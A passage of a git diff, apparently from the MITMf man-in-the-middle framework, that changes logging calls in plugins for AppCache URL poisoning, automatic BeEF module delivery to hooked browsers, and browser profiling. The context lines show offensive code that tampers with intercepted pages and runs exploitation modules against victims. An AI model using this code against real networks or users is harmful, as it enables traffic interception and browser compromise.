element == 'tamper': - logging.info("%s Poisoning tamper URL with template %s" % (ip, p)) + mitmf_logger.info("%s Poisoning tamper URL with template %s" % (ip, p)) if os.path.exists(p + '.replace'): # replace whole content f = open(p + '.replace','r') data = self.decorate(f.read(), s) @@ -93,12 +95,12 @@ class AppCachePlugin(Plugin): data = re.sub(re.compile("",re.IGNORECASE),appendix + "", data) self.mass_poisoned_browsers.append(browser_id) # mark to avoid mass spoofing for this ip diff --git a/plugins/BeefAutorun.py b/plugins/BeefAutorun.py index de03d96..dd18032 100644 --- a/plugins/BeefAutorun.py +++ b/plugins/BeefAutorun.py @@ -31,6 +31,8 @@ from time import sleep requests_log = logging.getLogger("requests") #Disables "Starting new HTTP Connection (1)" log message requests_log.setLevel(logging.WARNING) +mitmf_logger = logging.getLogger('mitmf') + class BeefAutorun(Inject, Plugin): name = "BeEFAutorun" optname = "beefauto" @@ -83,7 +85,7 @@ class BeefAutorun(Inject, Plugin): if session not in already_hooked: info = beef.hook_info(session) - logging.info("%s >> joined the horde! [id:%s, type:%s-%s, os:%s]" % (info['ip'], info['id'], info['name'], info['version'], info['os'])) + mitmf_logger.info("%s >> joined the horde! [id:%s, type:%s-%s, os:%s]" % (info['ip'], info['id'], info['name'], info['version'], info['os'])) already_hooked.append(session) self.black_ips.append(str(info['ip'])) @@ -106,17 +108,17 @@ class BeefAutorun(Inject, Plugin): hook_os = session_info['os'] if len(self.All_modules) > 0: - logging.info("%s >> sending generic modules" % session_ip) + mitmf_logger.info("%s >> sending generic modules" % session_ip) for module, options in self.All_modules.iteritems(): mod_id = beef.module_id(module) resp = beef.module_run(session, mod_id, json.loads(options)) if resp["success"] == 'true': - logging.info('%s >> sent module %s' % (session_ip, mod_id)) + mitmf_logger.info('%s >> sent module %s' % (session_ip, mod_id)) else: - logging.info('%s >> ERROR sending module %s' % (session_ip, mod_id)) + mitmf_logger.info('%s >> ERROR sending module %s' % (session_ip, mod_id)) sleep(0.5) - logging.info("%s >> sending targeted modules" % session_ip) + mitmf_logger.info("%s >> sending targeted modules" % session_ip) for os in self.Targeted_modules: if (os in hook_os) or (os == hook_os): browsers = self.Targeted_modules[os] @@ -129,7 +131,7 @@ class BeefAutorun(Inject, Plugin): mod_id = beef.module_id(module) resp = beef.module_run(session, mod_id, json.loads(options)) if resp["success"] == 'true': - logging.info('%s >> sent module %s' % (session_ip, mod_id)) + mitmf_logger.info('%s >> sent module %s' % (session_ip, mod_id)) else: - logging.info('%s >> ERROR sending module %s' % (session_ip, mod_id)) + mitmf_logger.info('%s >> ERROR sending module %s' % (session_ip, mod_id)) sleep(0.5) diff --git a/plugins/BrowserProfiler.py b/plugins/BrowserProfiler.py index 3777009..315047b 100644 --- a/plugins/BrowserProfiler.py +++ b/plugins/BrowserProfiler.py @@ -23,6 +23,8 @@ from plugins.Inject import Inject from pprint import pformat import logging +mitmf_logger = logging.getLogger('mitmf') + class BrowserProfiler(Inject, Plugin): name = "Browser Profiler" optname = "browserprofiler" @@ -53,7 +55,7 @@ class BrowserProfiler(Inject, Plugin): if self.dic_output['plugin_list'] > 0: self.dic_output['plugin_list'] = self.dic_output['plugin_list'].split(',') pretty_output = pformat(self.dic_output) - logging.info("%s >> Browser Profiler data:\n%s" % (request.client.getClientIP(), pretty_output)) + mitmf_logger.info("%s >> Browser Profiler data:\n%s" % (request.client.getClientIP(), pretty_output)) def get_payload(self): payload = """